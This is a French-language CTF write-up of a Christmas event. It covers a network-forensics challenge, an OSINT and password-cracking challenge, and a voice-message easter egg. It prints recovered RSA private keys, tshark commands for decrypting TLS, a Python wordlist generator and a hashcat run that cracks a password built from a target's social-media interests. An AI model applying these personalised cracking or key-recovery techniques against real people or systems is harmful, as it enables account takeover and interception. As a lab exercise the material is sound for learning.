Suspicious activity has been detected. Probably nothing to be scared about but take a look anyway.
If you find anything, a backdoor, a malware or anything of this kind, flag is the sha256 of it.
On récupère une capture réseau assez balèze (185701 requêtes, rien que ça !)
En analysant un peu le contenu on y trouve principalement :
- De la retransmision TCP (avec DU RST)
- Un update de la machine 172.17.0.5
- Un bruteforce directory web de 172.17.0.1 vers 172.17.0.5
- Une injection de commande via formulaire web de 172.17.0.1 vers 172.17.0.5
- Du flux TLS entre 172.17.0.1 et 172.17.0.5 après l'injection de commande
TCP Retransimission
Update système via HTTP (debian depots)
HTTP Reconnaissance
HTTP Command injection & TLS stream
Tout d'abord un petit filtre pour épurer tout ça :
not tcp.flags == 0x014 && not ip.addr == 151.101.120.204 && not http.response.code == 404
On sait que l'attaquant à injecter une commande destinée à télécharger et jouer un script (172.17.0.5 télécharge un script hebergé sur 172.17.0.1 puis l'execute) à la suite de cela du TLS apparait, laissant penser qu'il faudra sans doute le déchiffrer
Pour cela, on extrait les certificats de la capture (http://moonbutblack.blogspot.com/2013/10/exporting-server-certificate-from.html)
openssl x509 -inform der -pubkey -noout -in cert1.der >> cert1.pem
openssl x509 -inform der -pubkey -noout -in cert2.der >> cert2.pem
Puis on tente le cracking de la clef ! Merci à Penthium2 d'avoir rush et trouvé qu'il fallait mettre les 2 clefs public pour trouver le modulus commun entre les 2 (Sinon ça marche pas :D)
RsaCtfTool --publickey "cert*.pem" --verbose --private --attack all
[*] Multikey mode using keys: ['cert1.pem', 'cert2.pem']
[*] Found common factor in modulus for cert1.pem and cert2.pem
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA8k6sQzkomqCjeOPJ10idYw5K/EJ/crLCWcKZy79hyOiIAHbn
P3icrfeD8S7qnb6HwMyKvuu1rLkABP8RUVClDlfyMKcZMO8p8kgj+xs82FzMJBeJ
iEsqSG6t/8zp26/W1oqtGWpderbaO0eZj03ExuyoedbNggfuYCqe7AB9WB8/B7p3
TEjwnNE7bRc4RBL5KhqzB2plYrrNDqhor5jo/RBgDGdnQGMEo0+A8oZPGzmq4d+l
E2TxA4FCXKBw2M6C+PdmwkktK1ZF26w/Mk0gEO5DVh0MgPkumEFifTmq9QgpUy8q
ki/j8yI320MmF6WQer4qtgFpdmFwUQb6KvKnSQIDAQABAoIBAHp/Y38oqmphw8Me
BbCcuVSWqToWtC/cR3zxcKccvebAB+GUOxxPcYZRl5aazWmqJR9HSO10ZIhJjsT3
3l1pk8hIldwa3hVrE5208tvDzWLkpx+n9pO8zEeKDNVBVwkFQGt9+DzdFR0wy+sk
K3HTMyQOCK5v9b1DHTPo2CcfqD6fsXW1cG3VfqlvT+iXyp9Z8hreA78MTEnfSzVW
g/UMUn1Y/ZjiO7l34JBm2Q0aiHBiRdBIatTDDw9uATrY491Ut/bRCWo9++iC7Kz0
t5jH28YynQp7upq2ZaLtb3QA/aggEdTN+jWs/EZSmdSY1JN2zUrPkJ81FR3vw+/z
paUe27ECgYEA9Qgo401V7TQhlP0XNKsWFuH6GwmZKEBBtXBF9nk26CbTZ+Er6SS0
tm3zYqUH+VkdnO+c//S/FmG/eSi3e4kB5dGsskzGzjjJzbtACenn1SRBUo0TfCZy
T6DMWXMDRvuOJEWYa8jCJ040qCSIbGYg9WoJ6+jn9jwtpIbZkqLS9pMCgYEA/SdK
0PMQ9UMOtW2PjPwCKF8uymRdh4KgfWufWmrsCTsHYqinKrF9FhxUeSNHN2qPmPnI
yW0LIvcVAzVA5c9weJgvqOfOigsBQaOcW0FqO8OswtGPyH3//dUIyB/vuZu5LYi4
93ECyON95PXpubDvgY4GJwM0Lo9vpdaqt/nTWDMCgYBLWUQBidGHjMVa5G0TZBz5
0mmvkMcJKqFKIwlQnru0rePKiOKQ4hm0E6GJTwhhs/a4QLK9vsxYHJzdrBioI1xz
CIQbnCJyXeIoopExuzzwPSLdOMaqIcR7Gg5c31I9rLNsEf6p/mU94v2sSvespccy
0HXWlptmC+FZO6KCRhGrgwKBgBQETVgkQA0Ell8mIJmnO4xxqkN6mCKk44fHQLxn
g+5e6oCUkVNA4YEkEFHbxj/Nfzk7VvMGWkEThGfSiCUjt+LxNaOHYL9ti1XjV/On
Qn0jRb/JzjKuM9WgSKd6TvxAIe5Fx0pZdzznMAcwoqB6KxX1Yusmx7N+x/c2+By/
9kQdAoGAYxsY9EhchdDsUy5f2DrsQIeCQJueLexVVxebo4rpgb7NCybqqI55qbjd
2CMdY+8Fw74L2zxwgFDgngrIHsjIMqUNp64pgp+4qqjN+ix0ue86ZTlnaqgK3uaw
DDlBMgDIvOc+FYcy1aeqpCQHi8R1EIjlqZGvlV8wTwv9dJ+N/ug=
-----END RSA PRIVATE KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA6qH1D3mce4pI40aDTFHHnU8I84OU7NCR3KD4pTCsktys6cth
OdZ4YnR6a3SBIEAmpq8p/3KI9fmQO43JJj+N4vWEgsA8S5F3CQZtbKr2ILrCX8BX
apicvYFHXWl567xWGepkqjdFBAqC8NdpE95ZhZDpwzRgj0DIJRBaKJ9ROdKeo8bY
atXRCdm/+Q9Cw8rdknZQtnJh8Jc061UWdEaRR5FINQZtNmDkwzehDYD+elZ9zmNX
oRrB+wYQNuoHTVunBihCFz/WUcoqcItPSoheWGiy+Ok4B0QcBCELhVs5RpSjp6C/
0yl+0mx3P+1743JsKUmnu1fAYKi3oHAG4sgYFQIDAQABAoIBAGmSVeGQpogvwHwC
zjEY2ug9F5n6KpgjgH31L+uj6wJpqKPJjwWnKqOiJTMUSMVqF/oH9q2pq1aB5BPn
yAodrongTq9GL9sQqK625aVvhy9S2QKcWLjt0hiygpnVS7Z2F4exn3m3RKZ81E3p
nq4B7eXbPlNGzeunCmci5G5CwRlyfsGxNlpFy6pcdytGwCt9+WRS36Yrc8jZQm8x
qiyA93pTAYBt3Hb0/edpKj6e9dbGIi3YMPpL0TpF63+629uSpP1mW9A2IMVP+I8N
nBIwxpazruhla/TOOF8nlUTiLtZc5fSnNCgprMXFYmBlB+DCVarS+VD2mqx+ugzm
DxUtekECgYEA9Qgo401V7TQhlP0XNKsWFuH6GwmZKEBBtXBF9nk26CbTZ+Er6SS0
tm3zYqUH+VkdnO+c//S/FmG/eSi3e4kB5dGsskzGzjjJzbtACenn1SRBUo0TfCZy
T6DMWXMDRvuOJEWYa8jCJ040qCSIbGYg9WoJ6+jn9jwtpIbZkqLS9pMCgYEA9SKh
xuY/zb9sl0MbGTB5j4ZKcpNVLh9YCgiRDsXDpUeLNmsOWqJCS0Gep+hSyGEDmbeD
ijZ02c0GXccpjjYgPltqiREE5j6jUKHLPm8ZuQ+Ia/v6yJGOUMlJZ+14I86+TKtm
AxCsVZOeHEmV4gSFos3l063n1ywtgmZmkS7m97cCgYBLWUQBidGHjMVa5G0TZBz5
0mmvkMcJKqFKIwlQnru0rePKiOKQ4hm0E6GJTwhhs/a4QLK9vsxYHJzdrBioI1xz
CIQbnCJyXeIoopExuzzwPSLdOMaqIcR7Gg5c31I9rLNsEf6p/mU94v2sSvespccy
0HXWlptmC+FZO6KCRhGrgwKBgF3QMCuHiJl8Ddnhs6gzNgJoeWtZ2Tp6gl3so18M
7m/9bliYJfknqclVRpupvKy0/ATDB5NIffWwkiQniU7Ehhh3MdFc8wwOor/D+51c
NXLub94ro/FISze9oNsmNVk20PtUiQjZQ6rIgLUAsFy8MEx7Ed6t6lEdthj2iYA8
e+YHAoGBALUVvWU6bh85o86amHzSK8tuHrEXthrzHn6xDwrKNpFFNqL6lepCVKx0
pH7Ul9V489IRNsOHtKyHewJXyJAsRJrP6c7veE49kjBrIkXHjCf8zhuiqtPdpE1V
LIXge+kDK5K/FLJN+jtrapJ1DHtuAwsrxD8e4/aB6eGiSsSFMRXU
-----END RSA PRIVATE KEY-----
On a désormais nos 2 private key, reste à déchiffrer les flux pour avancer
Wireshark -> Préférence -> Protocols -> TLS
Sous Tshark :
tshark -r challenge.pcapng -o "tls.keys_list: 172.17.0.5,443,http,priv1.key;172.17.0.1,443,http,priv1.key;172.17.0.1,443,http,priv2.key;172.17.0.5,443,http,priv2.key" -Y 'http'
....
183376 133.086542827 172.17.0.1 → 172.17.0.5 HTTP 544 POST /index.php HTTP/1.1 (application/x-www-form-urlencoded)
183378 135.143695342 172.17.0.5 → 172.17.0.1 HTTP 710 HTTP/1.1 200 OK (text/html)
183390 152.917461838 172.17.0.1 → 172.17.0.5 HTTP 574 POST /index.php HTTP/1.1 (application/x-www-form-urlencoded)
183408 170.040283033 172.17.0.1 → 172.17.0.5 HTTP 597 POST /index.php HTTP/1.1 (application/x-www-form-urlencoded)
183419 172.113126090 172.17.0.5 → 172.17.0.1 HTTP 173 GET /a.sh HTTP/1.1
183421 172.114684388 172.17.0.1 → 172.17.0.5 HTTP 772 HTTP/1.0 200 OK (text/x-sh)
183434 172.128580009 172.17.0.5 → 172.17.0.1 HTTP 241 GET /cert2.crt HTTP/1.1
183437 172.129073647 172.17.0.1 → 172.17.0.5 HTTP 310 HTTP/1.0 200 OK (application/x-x509-ca-cert)
183542 234.865233683 172.17.0.5 → 172.17.0.1 HTTP 242 GET /LinEnum.sh HTTP/1.1
183561 234.872046281 172.17.0.1 → 172.17.0.5 HTTP 911 HTTP/1.0 200 OK (text/x-sh)
184118 544.690600279 172.17.0.5 → 172.17.0.1 HTTP 245 GET /DRUNK_IKEBANA HTTP/1.1
185446 544.740615854 172.17.0.1 → 172.17.0.5 HTTP 1324 HTTP/1.0 200 OK
LinEnum.sh est un script faisant de l'énumeration de vulnérabilité, rien de bien important la dessus, cependant un GET sur /DRUNK_IKEBANA nous interpelle, récuperons le
$mkdir export_http
$tshark -r challenge.pcapng -o "tls.keys_list: 172.17.0.5,443,http,priv1.key;172.17.0.1,443,http,priv1.key;172.17.0.1,443,http,priv2.key;172.17.0.5,443,http,priv2.key" -Y 'http' --export-objects "http,export_http"
$file export_http/DRUNK_IKEBANA
export_http/DRUNK_IKEBANA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
$sha256sum export_http/DRUNK_IKEBANA
daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830
flag : SANTA{daeb4a85965e61870a90d40737c4f97d42ec89c1ece1c9b77e44e6749a88d830}
witchehh's blog (Web/OSINT/Crack 400pts)
Hey !
I just find this new blog post that gives some very good advices on how to protect your life by using a strong password.
http://46.30.204.44:1000/
En se connectant sur le blog, le topic nous tips sur comment faire un bon mot de passe (selon witchehh)
You now have the main elements to protect your 2.0 life as I like to call it. But here's some more advices to easily memorize you password. Simply Take 3 words (Name of someone/something you like, city, the sport you practice...), or 3 numbers (age of your favorite singer ...) or a mix ( ;) ), and use a special character to separate them like "-" or "*", be creative.
We will then obtain a strings like "dicaprio.23.jagaaan", 3 informations about you, a long string and some special characters, the perfect recipe. In this article, we learn the art of choosing a good password which is the start of a healthy life. Next time, I will show you how to hide sensitive informations in a very simple way.
En faisant un peu d'OSINT sur Billy Délivre, on y découvre une page facebook et un Instagram contenant de nombreuses informations sur ces gouts (manga, films, musiques, personnages, ...)
On y découvre aussi un hash ! suivit d'un emssage tronqué "annec"
hashid 90ebd54ded8e68191ab102429edd29993c185e43c1b43de0fd346b40c1b26c60ce1e4ae84c334da7c2ee81cb4dbfb48d
Analyzing '90ebd54ded8e68191ab102429edd29993c185e43c1b43de0fd346b40c1b26c60ce1e4ae84c334da7c2ee81cb4dbfb48d'
[+] SHA-384
[+] SHA3-384
[+] Skein-512(384)
[+] Skein-1024(384)
Annec laisse penser à Annecy (Billy aime voyager), en fouillant dans ses amis on y découvre un wallbanner ANNECY
Avec tous ces mots, on se dresse un petit dico
annecy
nantes
loire
atlantique
france
brasil
rio
janeiro
nevada
lasvegas
nyc
losangeles
london
emma
watson
robert
downeyjr
downey
taylor
swift
leonardo
dicaprio
yugioh
Yu
Gi
Oh
shindeiru
geralt
de
riv
deriv
de riv
Geralt
mousesack
eist
king
triss
merigold
omae
wa
mou
travel
world
voyage
world
film
billy
délivre
witchehh
jean
claude
van
damme
humour
sangoku
saitama
japan
corea
anime
tom
hanks
forrest gump
brad
pitt
diane
kruger
mélanie
melanie
laurent
quentin
tarantino
gary
oldman
milla
jovovich
bruce
willis
gerard
depardieu
jamel
debbouze
alain
chabat
monica
bellucci
claude
rich
christian
clavier
gerard
darmon
leonardo
dicaprio
movie
jcvd
planets
universe
shoes
adidas
christopher
lloyd
michael
fox
j.fox
jfox
alain
chabat
witcher
onepiece
one
piece
luffy
joseph
gordon
levitt
ellen
page
ken
watanabe
marion
cotillard
tom
hardy
michael
caine
tom
berenger
chris
hemsworth
manga
movie
jagaaan
africa
senegal
iceland
moscow
italy
paris
newyork
tokyo
seoul
space
On sait que la nomenclature est la suivante :
dicaprio.23.jagaaan
Il y aura donc plusieurs possibilités :
- Mot.chiffre.mot
- Mot.mot.mot
- mot.mot.chiffre
- chiffre.mot.mot
J'ai fais un petit script python pour générer cela
#!/usr/bin/python3
# coding : utf-8
liste = open('liste', 'r').readlines()
dico = open('dico.txt', 'a')
separator = ['-', '*', '_', '.', '+', '=', '§', '!', ' ', '/', '\\', '&', '~']
nbrange = range(200)
#Word-XX-WORD
for word in liste:
word = word.rstrip('\n')
for sep in separator:
for sep2 in separator:
for number in nbrange:
for lastword in liste:
dico.write(word + sep + str(number) + sep2 + lastword)
#WORD-WORD-WORD
for word in liste:
word = word.rstrip('\n')
for sep in separator:
for sep2 in separator:
for middleword in liste:
middleword = middleword.rstrip('\n')
for lastword in liste:
dico.write(word + sep + middleword + sep2 + lastword)
#XX-WORD-WORD for number in range(100): for sep in separator:
for sep2 in separator:
for middleword in liste:
word = word.rstrip('\n')
for finalword in word:
dico.write(str(number) + sep + middleword + sep2 + finalword )
#WORD-WORD-XX
for word in liste:
word = word.rstrip('\n')
for sep in separator:
for sep2 in separator:
for middleword in liste:
middleword = middleword.rstrip('\n')
for number in nbrange:
dico.write(word + sep + middleword + sep2 + str(number) + '\n')
$hashcat -m 17500 -a 0 dico.txt hash -o pass.txt --force
$cat pass.txt
annecy+44+saitama
On a un jolie password ! (Mention à LaG4ch3tte qui à crack le password via https://md5hashing.net/hash/sha384/)
En se logguant sur le site web avec le login witchehh
NOTE : Il était aussi possible d'accéder à cette img en visitant http://46.30.204.44:1000/img/
On devine que la suite se passe sur le port 2000
nc 46.30.204.44 2000
Username : witchehh
Password : annecy+44+saitama
Welcome, here is your flag : SANTA{Cr4cK_L0rD}
flag : SANTA{Cr4cK_L0rD}
Malheureusement j'ai pu flag le dimanche à 2H du matin (soit 6h après la fin du CTF) ce challenge n'a pas compté dans mon scoring
Eastereggs
Un message vocal etait sur le discord, celui-ci etait un bot speech donnant les mots suivants
En l'uploadant sur le site suivant https://speech-to-text-demo.ng.bluemix.net/ ça nous donne
Hotel.
Tango tango Papa.
Sierra colon slash slash.
Tango.
Whiskey.
India tango tango.
Echo.
Romeo.
Dot Charlie Oscar Mike slash Sierra Alfa.
November tango.
Hotel Alfa Charlie kilo.
Lima.
Alfa uniform Sierra.
New Line India.
Whiskey Oscar.
November.
Delta echo.
Romeo India.
Foxtrot.
Tango.
Hotel.
India.
Sierra.
Papa Lima.
Alfa Charlie echo whiskey.
India Lima Lima.
Bravo echo Charlie.
Romeo.
Oscar whiskey delta echo delta delta uniform.
Romeo India November.
Golf Charlie hotel.
Romeo India.
Sierra.
Tango.
Mike Alfa Sierra.
En traitant un peu le texte
cat liste | sed 's/ //g' | sed 's/\.//g' | sed 's/ /\n/g' | sed '/^$/d' | cut -c 1 >> chars
# On vire les espaces et on filtrer sur le premier caracteres de chaque mots
chars = open('chars', 'r').readlines()
flag = []
for i in chars:
i = i.rstrip('\n')
flag.append(i)
print(''.join(flag))
HTtPScssTWIttERDCOMsSANtHACkLAuSNLIWONDeRIFTHISPLACewILLBeCROwdedduRINGChRISTMAS
Qui donne
HTTPS://TWIttER.COM/SANtHACkLAuS
I WONDeR IF THIS PLACe wILL Be CROwded duRING ChRISTMAS
JE ME DEMANDE SI CE LIEU SERA Bondé DURANT NOEL (Trad FR)
Effectivement le discord était animé ... Sinon à part j'ai trouvé ça en cherchant le flag du tout premier challenge ! (J'ai vomi après avoir vu que tout ça ne servait pas)
Retour sur l'évent
AND VOILA, c'était un super CTF, super orga, super ambiance et super challenges, j'ai kiffé le SOCIAL ENGINEERING avec le numéro de téléphone, ça change beaucoup par rapport aux autres CTF, c'était une bonne idée.
Comme d'habitude de bonne marrade avec les potes, de belles soirées passées à try hard et un peu de frustration sur certains challenges (je regrette de ne pas avoir eu le temps d'attaquer le pentest !)
Sinon on a bu beaucoup de bieres avec Penthium2 et tete2soja \0/
Au final, une satisfaction perso puisque je termine exaeco avec mon Penthium2 36/37 sur 300 (GG à tete2soja qui à finit 23 eme et qui à gagné un cadeau !)
L'idée de faire gagner des rubberducky, lan-turtle, kit de lockpicking et autre gadjet est vraiment une super idée motivante !
A l'année prochaine ! (et joyeuse fête)
PS : les WU des potes